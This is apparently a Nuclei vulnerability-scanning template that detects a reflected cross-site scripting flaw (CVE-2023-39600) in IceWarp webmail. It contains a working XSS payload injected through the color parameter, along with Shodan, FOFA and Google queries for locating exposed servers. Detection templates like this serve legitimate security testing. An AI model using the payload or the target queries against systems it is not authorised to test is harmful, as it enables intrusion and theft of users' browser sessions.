id: CVE-2023-39600

info:
  name: IceWarp 11.4.6.0 - Cross-Site Scripting
  author: Imjust0
  severity: medium
  description: |
    IceWarp 11.4.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  reference:
    - https://medium.com/@katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39600
    - https://icewarp.com
    - https://medium.com/%40katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39600
    cwe-id: CWE-79
    epss-score: 0.03686
    epss-percentile: 0.8809
    cpe: cpe:2.3:a:icewarp:icewarp:11.4.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp
    shodan-query:
      - title:"icewarp"
      - http.favicon.hash:2144485375
      - http.title:"icewarp"
    fofa-query:
      - title="icewarp"
      - icon_hash=2144485375
    google-query: intitle:"icewarp"
  tags: cve,cve2023,icewarp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color="><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207c9ba0567e3a7e024a7a7a9076fc007ba36a328e8cf7451cd01750e4bdddb7df022100f930dcfdeed2d7ffd89f101062652382499da69e6ce1524e67f674804af2913d:922c64590222798bb761d5b6d8e72950